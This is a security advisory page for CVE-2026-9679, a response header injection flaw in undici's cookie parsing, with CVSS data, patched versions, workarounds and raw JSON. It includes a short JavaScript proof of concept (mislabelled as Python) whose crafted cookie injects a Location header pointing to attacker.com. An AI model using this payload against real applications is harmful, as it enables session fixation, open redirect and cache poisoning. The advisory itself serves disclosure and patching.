Security Vulnerability Report
中文
CVE-2026-9679 CVSS 5.9 MEDIUM

CVE-2026-9679

Published: 2026-06-17 18:18:06
Last Modified: 2026-06-17 18:18:06
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

Impact: undici's cookie parser in parseSetCookie percent-decodes cookie values via qsUnescape, turning encoded sequences like %0D%0A, %00, %3B, and %3D into their literal byte equivalents. RFC 6265 §5.4 does not specify any decoding and browsers do not decode either. Applications that parse a Set-Cookie header and then forward the parsed value into a response header (proxies, middleware, SSR frameworks) become vulnerable to HTTP response header injection: an attacker-controlled upstream can inject arbitrary Set-Cookie, Location, or Cache-Control headers into the application's downstream response, enabling session fixation, open redirect, or cache poisoning. Affected applications are those that use undici's cookie parsing (parseSetCookie, parseCookie, getSetCookies) and forward the parsed cookie value into a response header. This was introduced in undici 7.0.0 via PR #3789. Patches: Upgrade to undici v6.26.0, v7.28.0 or v8.5.0. Workarounds: If upgrade is not immediately possible, do not forward values returned by parseSetCookie/parseCookie/getSetCookies directly into response headers; sanitize the value first to strip or reject CR, LF, NUL, ;, and = bytes.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

undici >= 7.0.0 且 < 7.28.0
undici 8.x < 8.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const undici = require('undici'); // Simulate a malicious upstream server response const maliciousSetCookie = 'session=evil%0D%0ALocation:%20http://attacker.com%0D%0ACache-Control:%20no-cache'; // Parse the cookie using undici's vulnerable parseSetCookie const parsed = undici.parseSetCookie(maliciousSetCookie); console.log('Parsed cookie value:', parsed.value); // The parsed value will contain literal CRLF characters due to percent-decoding // If the application forwards this value to a response header: const injectedResponseHeader = `Set-Cookie: ${parsed.value}`; console.log('Injected response header:'); console.log(injectedResponseHeader); // This demonstrates how arbitrary headers (Location, Cache-Control) can be injected // via HTTP response header splitting / injection // Attack chain demonstration: // 1. Attacker controls upstream that returns crafted Set-Cookie // 2. Application parses cookie with undici parseSetCookie // 3. Application forwards parsed value to downstream response header // 4. CRLF in cookie value causes header injection // 5. Attacker achieves session fixation, open redirect, or cache poisoning

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9679", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-06-17T18:18:06.307", "lastModified": "2026-06-17T18:18:06.307", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Impact:\nundici's cookie parser in parseSetCookie percent-decodes cookie values via qsUnescape, turning encoded sequences like %0D%0A, %00, %3B, and %3D into their literal byte equivalents. RFC 6265 §5.4 does not specify any decoding and browsers do not decode either.\n\nApplications that parse a Set-Cookie header and then forward the parsed value into a response header (proxies, middleware, SSR frameworks) become vulnerable to HTTP response header injection: an attacker-controlled upstream can inject arbitrary Set-Cookie, Location, or Cache-Control headers into the application's downstream response, enabling session fixation, open redirect, or cache poisoning.\n\nAffected applications are those that use undici's cookie parsing (parseSetCookie, parseCookie, getSetCookies) and forward the parsed cookie value into a response header.\n\nThis was introduced in undici 7.0.0 via PR #3789.\n\nPatches:\nUpgrade to undici v6.26.0, v7.28.0 or v8.5.0.\n\nWorkarounds:\nIf upgrade is not immediately possible, do not forward values returned by parseSetCookie/parseCookie/getSetCookies directly into response headers; sanitize the value first to strip or reject CR, LF, NUL, ;, and = bytes."}], "affected": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "affectedData": [{"vendor": "undici", "product": "undici", "defaultStatus": "unaffected", "packageURL": "pkg:npm/undici", "versions": [{"version": "0", "lessThan": "6.26.0", "versionType": "semver", "status": "affected"}, {"version": "6.26.0", "versionType": "semver", "status": "unaffected"}, {"version": "7.0.0", "lessThan": "7.28.0", "versionType": "semver", "status": "affected"}, {"version": "7.28.0", "versionType": "semver", "status": "unaffected"}, {"version": "8.0.0", "lessThan": "8.5.0", "versionType": "semver", "status": "affected"}, {"version": "8.5.0", "versionType": "semver", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}